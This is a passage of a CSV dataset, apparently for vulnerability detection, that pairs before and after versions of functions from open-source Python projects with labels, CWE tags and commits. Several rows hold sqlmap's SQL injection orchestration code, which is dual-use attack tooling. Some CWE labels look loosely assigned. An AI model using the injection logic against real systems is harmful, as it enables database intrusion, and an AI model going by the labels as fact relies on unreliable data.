                retVal = htmlunescape(retVal).replace(""<br>"", ""\n"")

            hashDBWrite(""%s%s"" % (conf.hexConvert or False, expression), retVal)

        elif not kb.rowXmlMode:
            trimmed = _(""%s(?P<result>.*?)<"" % (kb.chars.start))

            if trimmed:
                warnMsg = ""possible server trimmed output detected ""
                warnMsg += ""(probably due to its length and/or content): ""
                warnMsg += safecharencode(trimmed)
                logger.warn(warnMsg)
    else:
        vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
        kb.unionDuplicates = vector[7]

    return retVal"
,UNKNOWN,UNKNOWN,tests/pytests/pkg/integration/test_version.py,1,"def test_compare_pkg_versions_redhat_rc(version, install_salt):
    """"""
    Test compare pkg versions for redhat RC packages. A tilde should be included
    in RC Packages and it should test to be a lower version than a non RC
    package of the same version. For example, v3004~rc1 should be less than
    v3004.
    """"""
    if install_salt.downgrade:
        version = install_salt.prev_version
    else:
        version = install_salt.version
    if install_salt.distro_id not in (
        ""almalinux"",
        ""rocky"",
        ""centos"",
        ""redhat"",
        ""amzn"",
        ""fedora"",
        ""photon"",
    ):
        pytest.skip(""Only tests rpm packages"")

    pkg = [x for x in install_salt.pkgs if ""rpm"" in x]
    if not pkg:
        pytest.skip(""Not testing rpm packages"")
    pkg = pkg[0].split(""/"")[-1]
    if ""rc"" not in ""."".join(pkg.split(""."")[:2]):
        pytest.skip(""Not testing an RC package"")
    assert ""~"" in pkg
    comp_pkg = pkg.split(""~"")[0]
    ret = install_salt.proc.run(""rpmdev-vercmp"", pkg, comp_pkg)
    ret.stdout.matcher.fnmatch_lines([f""{pkg} < {comp_pkg}""])",CWE-703,saltstack/salt,22f3d2670896ca81c77be2ff4b689fbf4644aaa4,"def test_compare_pkg_versions_redhat_rc(version, install_salt):
    """"""
    Test compare pkg versions for redhat RC packages. A tilde should be included
    in RC Packages and it should test to be a lower version than a non RC
    package of the same version. For example, v3004~rc1 should be less than
    v3004.
    """"""
    if install_salt.distro_id not in (
        ""almalinux"",
        ""rocky"",
        ""centos"",
        ""redhat"",
        ""amzn"",
        ""fedora"",
        ""photon"",
    ):
        pytest.skip(""Only tests rpm packages"")

    pkg = [x for x in install_salt.pkgs if ""rpm"" in x]
    if not pkg:
        pytest.skip(""Not testing rpm packages"")
    pkg = pkg[0].split(""/"")[-1]
    if ""rc"" not in ""."".join(pkg.split(""."")[:2]):
        pytest.skip(""Not testing an RC package"")
    assert ""~"" in pkg
    comp_pkg = pkg.split(""~"")[0]
    ret = install_salt.proc.run(""rpmdev-vercmp"", pkg, comp_pkg)
    ret.stdout.matcher.fnmatch_lines([f""{pkg} < {comp_pkg}""])"
,UNKNOWN,UNKNOWN,airflow-core/tests/unit/api_fastapi/core_api/routes/public/test_connections.py,1,"def test_post_should_respond_already_exist(self, test_client, body):
        response = test_client.post(""/connections"", json=body)
        assert response.status_code == 201
        # Another request
        response = test_client.post(""/connections"", json=body)
        assert response.status_code == 409
        response_json = response.json()
        assert ""detail"" in response_json
        assert list(response_json[""detail""].keys()) == [""reason"", ""statement"", ""orig_error"", ""message""]",CWE-703,apache/airflow,7c9b2978f1d1c93ee261fad071659aac325c2148,"def test_post_should_respond_already_exist(self, test_client, body):
        response = test_client.post(""/connections"", json=body)
        assert response.status_code == 201
        # Another request
        response = test_client.post(""/connections"", json=body)
        assert response.status_code == 409
        response_json = response.json()
        assert ""detail"" in response_json
        assert list(response_json[""detail""].keys()) == [""reason"", ""statement"", ""orig_error""]"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/ber.py,0,"def decode_next(self):
        if self.idx >= len(self.content):
            return None
        id = ord(self.content[self.idx])
        self.idx += 1
        if (id & 31) == 31:
            # identifier > 30
            id = 0
            while self.idx < len(self.content):
                t = ord(self.content[self.idx])
                self.idx += 1
                id = (id << 7) | (t & 0x7f)
                if not (t & 0x80):
                    break
        if self.idx >= len(self.content):
            return None
        # now fetch length
        size = ord(self.content[self.idx])
        self.idx += 1
        if size & 0x80:
            # more complimicated...
            # FIXME: theoretically should handle indefinite-length (0x80)
            t = size & 0x7f
            if self.idx + t > len(self.content):
                return None
            size = util.inflate_long(self.content[self.idx : self.idx + t], True)
            self.idx += t
        if self.idx + size > len(self.content):
            # can't fit
            return None
        data = self.content[self.idx : self.idx + size]
        self.idx += size
        # now switch on id
        if id == 0x30:
            # sequence
            return self.decode_sequence(data)
        elif id == 2:
            # int
            return util.inflate_long(data)
        else:
            # 1: boolean (00 false, otherwise true)
            raise BERException('Unknown ber encoding type %d (robey is lazy)' % id)",,paramiko/paramiko,c6d5ba9c5225b119bd718b4fbc1523dc9b3a3926,"def decode_next(self):
        if self.idx >= len(self.content):
            return None
        id = ord(self.content[self.idx])
        self.idx += 1
        if (id & 31) == 31:
            # identifier > 30
            id = 0
            while self.idx < len(self.content):
                t = ord(self.content[self.idx])
                self.idx += 1
                id = (id << 7) | (t & 0x7f)
                if not (t & 0x80):
                    break
        if self.idx >= len(self.content):
            return None
        # now fetch length
        size = ord(self.content[self.idx])
        self.idx += 1
        if size & 0x80:
            # more complimicated...
            # FIXME: theoretically should handle indefinite-length (0x80)
            t = size & 0x7f
            if self.idx + t > len(self.content):
                return None
            size = self.inflate_long(self.content[self.idx : self.idx + t], True)
            self.idx += t
        if self.idx + size > len(self.content):
            # can't fit
            return None
        data = self.content[self.idx : self.idx + size]
        self.idx += size
        # now switch on id
        if id == 0x30:
            # sequence
            return self.decode_sequence(data)
        elif id == 2:
            # int
            return util.inflate_long(data)
        else:
            # 1: boolean (00 false, otherwise true)
            raise BERException('Unknown ber encoding type %d (robey is lazy)' % id)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/request/inject.py,0,"def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True):
    """"""
    Called each time sqlmap inject a SQL query on the SQL injection
    affected parameter.
    """"""

    if conf.hexConvert:
        charsetType = CHARSET_TYPE.HEXADECIMAL

    kb.safeCharEncode = safeCharEncode
    kb.resumeValues = resumeValue

    if suppressOutput is not None:
        pushValue(getCurrentThreadData().disableStdOut)
        getCurrentThreadData().disableStdOut = suppressOutput

    try:
        if expected == EXPECTED.BOOL:
            forgeCaseExpression = booleanExpression = expression

            if expression.upper().startswith(""SELECT ""):
                booleanExpression = ""(%s)=%s"" % (booleanExpression, ""'1'"" if ""'1'"" in booleanExpression else ""1"")
            else:
                forgeCaseExpression = agent.forgeCaseStatement(expression)

        if conf.direct:
            value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression)

        elif any(map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))):
            query = cleanQuery(expression)
            query = expandAsteriskForColumns(query)
            value = None
            found = False
            count = 0

            if query and not re.search(r""COUNT.*FROM.*\(.*DISTINCT"", query, re.I):
                query = query.replace(""DISTINCT "", """")

            if not conf.forceDns:
                if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                    kb.technique = PAYLOAD.TECHNIQUE.UNION
                    value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump)
                    count += 1
                    found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

                if error and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found:
                    kb.technique = PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY
                    value = errorUse(forgeCaseExpression if expected == EXPECTED.BOOL else query, dump)
                    count += 1
                    found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

                if found and conf.dnsName:
                    _ = """".join(filter(None, (key if isTechniqueAvailable(value) else None for key, value in {""E"": PAYLOAD.TECHNIQUE.ERROR, ""Q"": PAYLOAD.TECHNIQUE.QUERY, ""U"": PAYLOAD.TECHNIQUE.UNION}.items())))
                    warnMsg = ""option '--dns-domain' will be ignored ""
                    warnMsg += ""as faster techniques are usable ""
                    warnMsg += ""(%s) "" % _
                    singleTimeWarnMessage(warnMsg)

            if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found:
                kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN

                if expected == EXPECTED.BOOL:
                    value = _goBooleanProxy(booleanExpression)
                else:
                    value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump)

                count += 1
                found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

            if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found:
                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
                    kb.technique = PAYLOAD.TECHNIQUE.TIME
                else:
                    kb.technique = PAYLOAD.TECHNIQUE.STACKED

                if expected == EXPECTED.BOOL:
                    value = _goBooleanProxy(booleanExpression)
                else:
                    value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump)

            if value and isinstance(value, basestring):
                value = value.strip() if value.strip() else value[:1]
        else:
            errMsg = ""none of the injection types identified can be ""
            errMsg += ""leveraged to retrieve queries output""
            raise SqlmapNotVulnerableException(errMsg)

    finally:
        kb.resumeValues = True

        if suppressOutput is not None:
            getCurrentThreadData().disableStdOut = popValue()

    kb.safeCharEncode = False

    if not kb.testMode and value is None and Backend.getDbms() and conf.dbmsHandler:
        warnMsg = ""in case of continuous data retrieval problems you are advised to try ""
        warnMsg += ""a switch '--no-cast' and/or switch '--hex'""
        singleTimeWarnMessage(warnMsg)

    return extractExpectedValue(value, expected)",,sqlmapproject/sqlmap,b6e44ae64e3aa7354186a6c01a862a252aa427c0,"def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True):
    """"""
    Called each time sqlmap inject a SQL query on the SQL injection
    affected parameter.
    """"""

    if conf.hexConvert:
        charsetType = CHARSET_TYPE.HEXADECIMAL

    kb.safeCharEncode = safeCharEncode
    kb.resumeValues = resumeValue

    if suppressOutput is not None:
        pushValue(getCurrentThreadData().disableStdOut)
        getCurrentThreadData().disableStdOut = suppressOutput

    try:
        if expected == EXPECTED.BOOL:
            forgeCaseExpression = booleanExpression = expression

            if expression.upper().startswith(""SELECT ""):
                booleanExpression = expression[len(""SELECT ""):]
                if re.search(r""(?i)\(.+\)\Z"", booleanExpression):
                    booleanExpression = ""%s=%s"" % (booleanExpression, ""'1'"" if ""'1'"" in booleanExpression else '1')
            else:
                forgeCaseExpression = agent.forgeCaseStatement(expression)

        if conf.direct:
            value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression)

        elif any(map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))):
            query = cleanQuery(expression)
            query = expandAsteriskForColumns(query)
            value = None
            found = False
            count = 0

            if query and not re.search(r""COUNT.*FROM.*\(.*DISTINCT"", query, re.I):
                query = query.replace(""DISTINCT "", """")

            if not conf.forceDns:
                if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                    kb.technique = PAYLOAD.TECHNIQUE.UNION
                    value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump)
                    count += 1
                    found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

                if error and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found:
                    kb.technique = PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY
                    value = errorUse(forgeCaseExpression if expected == EXPECTED.BOOL else query, dump)
                    count += 1
                    found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

                if found and conf.dnsName:
                    _ = """".join(filter(None, (key if isTechniqueAvailable(value) else None for key, value in {""E"": PAYLOAD.TECHNIQUE.ERROR, ""Q"": PAYLOAD.TECHNIQUE.QUERY, ""U"": PAYLOAD.TECHNIQUE.UNION}.items())))
                    warnMsg = ""option '--dns-domain' will be ignored ""
                    warnMsg += ""as faster techniques are usable ""
                    warnMsg += ""(%s) "" % _
                    singleTimeWarnMessage(warnMsg)

            if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found:
                kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN

                if expected == EXPECTED.BOOL:
                    value = _goBooleanProxy(booleanExpression)
                else:
                    value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump)

                count += 1
                found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

            if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found:
                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
                    kb.technique = PAYLOAD.TECHNIQUE.TIME
                else:
                    kb.technique = PAYLOAD.TECHNIQUE.STACKED

                if expected == EXPECTED.BOOL:
                    value = _goBooleanProxy(booleanExpression)
                else:
                    value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump)

            if value and isinstance(value, basestring):
                value = value.strip() if value.strip() else value[:1]
        else:
            errMsg = ""none of the injection types identified can be ""
            errMsg += ""leveraged to retrieve queries output""
            raise SqlmapNotVulnerableException(errMsg)

    finally:
        kb.resumeValues = True

        if suppressOutput is not None:
            getCurrentThreadData().disableStdOut = popValue()

    kb.safeCharEncode = False

    if not kb.testMode and value is None and Backend.getDbms() and conf.dbmsHandler:
        warnMsg = ""in case of continuous data retrieval problems you are advised to try ""
        warnMsg += ""a switch '--no-cast' and/or switch '--hex'""
        singleTimeWarnMessage(warnMsg)

    return extractExpectedValue(value, expected)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/tracking/test_client.py,0,"def test_load_prompt_error(tracking_uri):
    client = MlflowClient(tracking_uri=tracking_uri)

    with pytest.raises(MlflowException, match=r""Prompt with name=test not found""):
        client.load_prompt(""test"", version=1)

    # Both file and sqlalchemy return the same error format now
    error_msg = r""Prompt with name=test not found""

    with pytest.raises(MlflowException, match=error_msg):
        client.load_prompt(""test"", version=2)

    with pytest.raises(MlflowException, match=error_msg):
        client.load_prompt(""test"", version=2, allow_missing=False)

    # Load prompt with a model name
    client.create_registered_model(""model"")
    client.create_model_version(""model"", ""source"")

    with pytest.raises(MlflowException, match=r""Name `model` is registered as a model""):
        client.load_prompt(""model"", version=1)

    with pytest.raises(MlflowException, match=r""Name `model` is registered as a model""):
        client.load_prompt(""model"", version=1)

    with pytest.raises(MlflowException, match=r""Name `model` is registered as a model""):
        client.load_prompt(""model"", version=1, allow_missing=False)

    with pytest.raises(MlflowException, match=r""Name `model` is registered as a model""):
        client.load_prompt(""model"", version=1, allow_missing=False)",,mlflow/mlflow,c526ec1b1d141918c3377e835fb78c20dce3f1e4,"def test_load_prompt_error(tracking_uri):
    client = MlflowClient(tracking_uri=tracking_uri)

    with pytest.raises(MlflowException, match=r""Prompt with name=test not found""):
        client.load_prompt(""test"", version=1)

    if tracking_uri.startswith(""file""):
        error_msg = r""Prompt with name=test not found""
    else:
        error_msg = r""Prompt \(name=test, version=2\) not found""

    with pytest.raises(MlflowException, match=error_msg):
        client.load_prompt(""test"", version=2)

    with pytest.raises(MlflowException, match=error_msg):
        client.load_prompt(""test"", version=2, allow_missing=False)

    # Load prompt with a model name
    client.create_registered_model(""model"")
    client.create_model_version(""model"", ""source"")

    with pytest.raises(MlflowException, match=r""Name `model` is registered as a model""):
        client.load_prompt(""model"", version=1)

    with pytest.raises(MlflowException, match=r""Name `model` is registered as a model""):
        client.load_prompt(""model"", version=1)

    with pytest.raises(MlflowException, match=r""Name `model` is registered as a model""):
        client.load_prompt(""model"", version=1, allow_missing=False)

    with pytest.raises(MlflowException, match=r""Name `model` is registered as a model""):
        client.load_prompt(""model"", version=1, allow_missing=False)"
,UNKNOWN,UNKNOWN,airflow-core/tests/unit/models/test_backfill.py,1,"def test_reprocess_behavior(reprocess_behavior, num_in_b, exc_reasons, dag_maker, session):
    """"""
    We have two modes whereby when there's an existing run(s) in the range
    of the backfill, we will clear an existing run.
    """"""

    # introduce runs for a dag different from the test dag
    # so that we can verify that queries won't pick up runs from
    # other dags with same date
    with dag_maker(schedule=""@daily"", dag_id=""noise-dag""):
        PythonOperator(task_id=""hi"", python_callable=print)
    date = ""2021-01-06""
    dr = dag_maker.create_dagrun(
        run_id=f""scheduled_{date}"",
        logical_date=timezone.parse(date),
        session=session,
        state=""success"",
    )
    # should appear more recent than next runs we'll create
    dr.start_date = timezone.parse(date) + timedelta(minutes=2)
    session.commit()

    # now the main part of the test
    # we insert some historical runs with various states and see
    # what the backfill behavior is depending on requested
    # reprocessing behavior
    dag_id = ""backfill-test-reprocess-behavior""
    with dag_maker(schedule=""@daily"", dag_id=dag_id) as dag:
        PythonOperator(task_id=""hi"", python_callable=print)

    for date, state in [
        (""2021-01-05"", ""success""),
        (""2021-01-06"", ""failed""),
        (""2021-01-07"", ""running""),
    ]:
        dr = dag_maker.create_dagrun(
            run_id=f""scheduled_{date}"",
            logical_date=timezone.parse(date),
            session=session,
            state=state,
        )
        # should sort just older than the noise dag with same logical date
        dr.start_date = timezone.parse(date)
        for ti in dr.get_task_instances(session=session):
            ti.state = state
        session.commit()

    b = _create_backfill(
        dag_id=dag.dag_id,
        from_date=pendulum.parse(""2021-01-03""),
        to_date=pendulum.parse(""2021-01-09""),
        max_active_runs=2,
        reprocess_behavior=reprocess_behavior,
        reverse=False,
        dag_run_conf=None,
    )

    session.expunge_all()
    query = (
        select(DagRun)
        .join(BackfillDagRun.dag_run)
        .where(BackfillDagRun.backfill_id == b.id)
        .order_by(BackfillDagRun.sort_ordinal)
    )
    # these are all the dag runs that are part of this backfill
    dag_runs_in_b = session.scalars(query).all()
    assert len(dag_runs_in_b) == num_in_b

    # verify they all have the right run type
    assert all(x.run_type == DagRunType.BACKFILL_JOB for x in dag_runs_in_b)
    # verify they all have the right triggered by type
    assert all(x.triggered_by == DagRunTriggeredByType.BACKFILL for x in dag_runs_in_b)
    # every run associated with the backfill should have the backfill id
    assert all(x.backfill_id == b.id for x in dag_runs_in_b)

    reasons = session.execute(
        select(BackfillDagRun.logical_date, BackfillDagRun.exception_reason).where(
            BackfillDagRun.backfill_id == b.id, BackfillDagRun.exception_reason.is_not(None)
        )
    ).all()
    actual = dict({str(d.date()): r for d, r in reasons})
    assert actual == exc_reasons
    # all the runs created by the backfill should have state queued
    assert all(x.state == DagRunState.QUEUED for x in dag_runs_in_b)","CWE-89, CWE-703",apache/airflow,88cef4f5986cd7798c463cd4444bfbf4257b1470,"def test_reprocess_behavior(reprocess_behavior, num_in_b, exc_reasons, dag_maker, session):
    """"""
    We have two modes whereby when there's an existing run(s) in the range
    of the backfill, we will clear an existing run.
    """"""

    # introduce runs for a dag different from the test dag
    # so that we can verify that queries won't pick up runs from
    # other dags with same date
    with dag_maker(schedule=""@daily"", dag_id=""noise dag""):
        PythonOperator(task_id=""hi"", python_callable=print)
    date = ""2021-01-06""
    dr = dag_maker.create_dagrun(
        run_id=f""scheduled_{date}"",
        logical_date=timezone.parse(date),
        session=session,
        state=""success"",
    )
    # should appear more recent than next runs we'll create
    dr.start_date = timezone.parse(date) + timedelta(minutes=2)
    session.commit()

    # now the main part of the test
    # we insert some historical runs with various states and see
    # what the backfill behavior is depending on requested
    # reprocessing behavior
    dag_id = ""backfill-test-reprocess-behavior""
    with dag_maker(schedule=""@daily"", dag_id=dag_id) as dag:
        PythonOperator(task_id=""hi"", python_callable=print)

    for date, state in [
        (""2021-01-05"", ""success""),
        (""2021-01-06"", ""failed""),
        (""2021-01-07"", ""running""),
    ]:
        dr = dag_maker.create_dagrun(
            run_id=f""scheduled_{date}"",
            logical_date=timezone.parse(date),
            session=session,
            state=state,
        )
        # should sort just older than the noise dag with same logical date
        dr.start_date = timezone.parse(date)
        for ti in dr.get_task_instances(session=session):
            ti.state = state
        session.commit()

    b = _create_backfill(
        dag_id=dag.dag_id,
        from_date=pendulum.parse(""2021-01-03""),
        to_date=pendulum.parse(""2021-01-09""),
        max_active_runs=2,
        reprocess_behavior=reprocess_behavior,
        reverse=False,
        dag_run_conf=None,
    )

    session.expunge_all()
    query = (
        select(DagRun)
        .join(BackfillDagRun.dag_run)
        .where(BackfillDagRun.backfill_id == b.id)
        .order_by(BackfillDagRun.sort_ordinal)
    )
    # these are all the dag runs that are part of this backfill
    dag_runs_in_b = session.scalars(query).all()
    assert len(dag_runs_in_b) == num_in_b

    # verify they all have the right run type
    assert all(x.run_type == DagRunType.BACKFILL_JOB for x in dag_runs_in_b)
    # verify they all have the right triggered by type
    assert all(x.triggered_by == DagRunTriggeredByType.BACKFILL for x in dag_runs_in_b)
    # every run associated with the backfill should have the backfill id
    assert all(x.backfill_id == b.id for x in dag_runs_in_b)

    reasons = session.execute(
        select(BackfillDagRun.logical_date, BackfillDagRun.exception_reason).where(
            BackfillDagRun.backfill_id == b.id, BackfillDagRun.exception_reason.is_not(None)
        )
    ).all()
    actual = dict({str(d.date()): r for d, r in reasons})
    assert actual == exc_reasons
    # all the runs created by the backfill should have state queued
    assert all(x.state == DagRunState.QUEUED for x in dag_runs_in_b)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,scripts/in_container/install_airflow_and_providers.py,0,"def install_airflow_and_providers(
    airflow_constraints_mode: str,
    airflow_constraints_location: str,
    airflow_constraints_reference: str,
    airflow_extras: str,
    airflow_skip_constraints: bool,
    default_constraints_branch: str,
    github_actions: bool,
    github_repository: str,
    install_selected_providers: str,
    package_format: str,
    providers_constraints_mode: str,
    providers_constraints_location: str,
    providers_constraints_reference: str,
    providers_skip_constraints: bool,
    python_version: str,
    use_airflow_version: str,
    use_packages_from_dist: bool,
):
    console.print(""[bright_blue]Installing Airflow and Providers"")
    installation_spec = find_installation_spec(
        airflow_constraints_mode=airflow_constraints_mode,
        airflow_constraints_location=airflow_constraints_location,
        airflow_constraints_reference=airflow_constraints_reference,
        airflow_extras=airflow_extras,
        airflow_skip_constraints=airflow_skip_constraints,
        default_constraints_branch=default_constraints_branch,
        github_repository=github_repository,
        install_selected_providers=install_selected_providers,
        package_format=package_format,
        providers_constraints_mode=providers_constraints_mode,
        providers_constraints_location=providers_constraints_location,
        providers_constraints_reference=providers_constraints_reference,
        providers_skip_constraints=providers_skip_constraints,
        python_version=python_version,
        use_airflow_version=use_airflow_version,
        use_packages_from_dist=use_packages_from_dist,
    )
    if installation_spec.airflow_package:
        install_airflow_cmd = [
            ""pip"",
            ""install"",
            ""--root-user-action"",
            ""ignore"",
            installation_spec.airflow_package,
        ]
        console.print(f""\n[bright_blue]Installing airflow package: {installation_spec.airflow_package}"")
        if installation_spec.airflow_constraints_location:
            console.print(f""[bright_blue]Use constraints: {installation_spec.airflow_constraints_location}"")
            install_airflow_cmd.extend([""--constraint"", installation_spec.airflow_constraints_location])
        console.print()
        run_command(install_airflow_cmd, github_actions=github_actions, check=True)
    if installation_spec.provider_packages or not install_airflow_with_constraints:
        install_providers_cmd = [""pip"", ""install"", ""--root-user-action"", ""ignore""]
        console.print(""\n[bright_blue]Installing provider packages:"")
        for provider_package in sorted(installation_spec.provider_packages):
            console.print(f""  {provider_package}"")
        console.print()
        for provider_package in installation_spec.provider_packages:
            install_providers_cmd.append(provider_package)
        if installation_spec.provider_constraints_location:
            console.print(
                f""[bright_blue]with constraints: {installation_spec.provider_constraints_location}\n""
            )
            install_providers_cmd.extend([""--constraint"", installation_spec.provider_constraints_location])
        console.print()
        run_command(install_providers_cmd, github_actions=github_actions, check=True)
    console.print(""[green]Done!"")",CWE-Unknown,apache/airflow,34846699020a472ea5e8934511518b37503fe79c,"def install_airflow_and_providers(
    airflow_constraints_mode: str,
    airflow_constraints_location: str,
    airflow_constraints_reference: str,
    airflow_extras: str,
    airflow_skip_constraints: bool,
    default_constraints_branch: str,
    github_actions: bool,
    github_repository: str,
    install_selected_providers: str,
    package_format: str,
    providers_constraints_mode: str,
    providers_constraints_location: str,
    providers_constraints_reference: str,
    providers_skip_constraints: bool,
    python_version: str,
    use_airflow_version: str,
    use_packages_from_dist: bool,
):
    console.print(""[bright_blue]Installing Airflow and Providers"")
    installation_spec = find_installation_spec(
        airflow_constraints_mode=airflow_constraints_mode,
        airflow_constraints_location=airflow_constraints_location,
        airflow_constraints_reference=airflow_constraints_reference,
        airflow_extras=airflow_extras,
        airflow_skip_constraints=airflow_skip_constraints,
        default_constraints_branch=default_constraints_branch,
        github_repository=github_repository,
        install_selected_providers=install_selected_providers,
        package_format=package_format,
        providers_constraints_mode=providers_constraints_mode,
        providers_constraints_location=providers_constraints_location,
        providers_constraints_reference=providers_constraints_reference,
        providers_skip_constraints=providers_skip_constraints,
        python_version=python_version,
        use_airflow_version=use_airflow_version,
        use_packages_from_dist=use_packages_from_dist,
    )
    if installation_spec.airflow_package:
        install_airflow_cmd = [
            ""pip"",
            ""install"",
            ""--root-user-action"",
            ""ignore"",
            installation_spec.airflow_package,
        ]
        console.print(f""\n[bright_blue]Installing airflow package: {installation_spec.airflow_package}"")
        if installation_spec.airflow_constraints_location:
            console.print(f""[bright_blue]Use constraints: {installation_spec.airflow_constraints_location}"")
            install_airflow_cmd.extend([""--constraint"", installation_spec.airflow_constraints_location])
        console.print()
        run_command(install_airflow_cmd, github_actions=github_actions, check=True)
    if installation_spec.provider_packages:
        install_providers_cmd = [""pip"", ""install"", ""--root-user-action"", ""ignore""]
        console.print(""\n[bright_blue]Installing provider packages:"")
        for provider_package in sorted(installation_spec.provider_packages):
            console.print(f""  {provider_package}"")
        console.print()
        for provider_package in installation_spec.provider_packages:
            install_providers_cmd.append(provider_package)
        if installation_spec.provider_constraints_location:
            console.print(
                f""[bright_blue]with constraints: {installation_spec.provider_constraints_location}\n""
            )
            install_providers_cmd.extend([""--constraint"", installation_spec.provider_constraints_location])
        console.print()
        run_command(install_providers_cmd, github_actions=github_actions, check=True)
    console.print(""[green]Done!"")"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/cli.py,0,"def prepare_exec_for_file(filename):
    """"""Given a filename this will try to calculate the python path, add it
    to the search path and return the actual module name that is expected.
    """"""
    module = []

    # Chop off file extensions or package markers
    if os.path.split(filename)[1] == '__init__.py':
        filename = os.path.dirname(filename)
    elif filename.endswith('.py'):
        filename = filename[:-3]
    else:
        raise NoAppException('The file provided (%s) does exist but is not a '
                             'valid Python file.  This means that it cannot '
                             'be used as application.  Please change the '
                             'extension to .py' % filename)
    filename = os.path.realpath(filename)

    dirpath = filename
    while 1:
        dirpath, extra = os.path.split(dirpath)
        module.append(extra)
        if not os.path.isfile(os.path.join(dirpath, '__init__.py')):
            break

    sys.path.insert(0, dirpath)
    return '.'.join(module[::-1])",,pallets/flask,41e08f4ccd0f41896200cbf5c5f5d6f3df3df713,"def prepare_exec_for_file(filename):
    """"""Given a filename this will try to calculate the python path, add it
    to the search path and return the actual module name that is expected.
    """"""
    module = []

    # Chop off file extensions or package markers
    if filename.endswith('.py'):
        filename = filename[:-3]
    elif os.path.split(filename)[1] == '__init__.py':
        filename = os.path.dirname(filename)
    else:
        raise NoAppException('The file provided (%s) does exist but is not a '
                             'valid Python file.  This means that it cannot '
                             'be used as application.  Please change the '
                             'extension to .py' % filename)
    filename = os.path.realpath(filename)

    dirpath = filename
    while 1:
        dirpath, extra = os.path.split(dirpath)
        module.append(extra)
        if not os.path.isfile(os.path.join(dirpath, '__init__.py')):
            break

    sys.path.insert(0, dirpath)
    return '.'.join(module[::-1])"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/contenttypes/management/commands/remove_stale_contenttypes.py,0,"def handle(self, **options):
        db = options['database']
        interactive = options['interactive']
        verbosity = options['verbosity']

        for app_config in apps.get_app_configs():
            content_types, app_models = get_contenttypes_and_models(app_config, db, ContentType)
            to_remove = [
                ct for (model_name, ct) in content_types.items()
                if model_name not in app_models
            ]
            # Confirm that the content type is stale before deletion.
            using = router.db_for_write(ContentType)
            if to_remove:
                if interactive:
                    ct_info = []
                    for ct in to_remove:
                        ct_info.append('    - Content type for %s.%s' % (ct.app_label, ct.model))
                        collector = NoFastDeleteCollector(using=using)
                        collector.collect([ct])

                        for obj_type, objs in collector.data.items():
                            if objs == {ct}:
                                continue
                            ct_info.append('    - %s %s object(s)' % (
                                len(objs),
                                obj_type._meta.label,
                            ))
                        content_type_display = '\n'.join(ct_info)
                    self.stdout.write(""""""Some content types in your database are stale and can be deleted.
Any objects that depend on these content types will also be deleted.
The content types and dependent objects that would be deleted are:

%s

This list doesn't include any cascade deletions to data outside of Django's
models (uncommon).

Are you sure you want to delete these content types?
If you're unsure, answer 'no'.\n"""""" % content_type_display)
                    ok_to_delete = input(""Type 'yes' to continue, or 'no' to cancel: "")
                else:
                    ok_to_delete = False

                if ok_to_delete == 'yes':
                    for ct in to_remove:
                        if verbosity >= 2:
                            self.stdout.write(""Deleting stale content type '%s | %s'"" % (ct.app_label, ct.model))
                        ct.delete()
                else:
                    if verbosity >= 2:
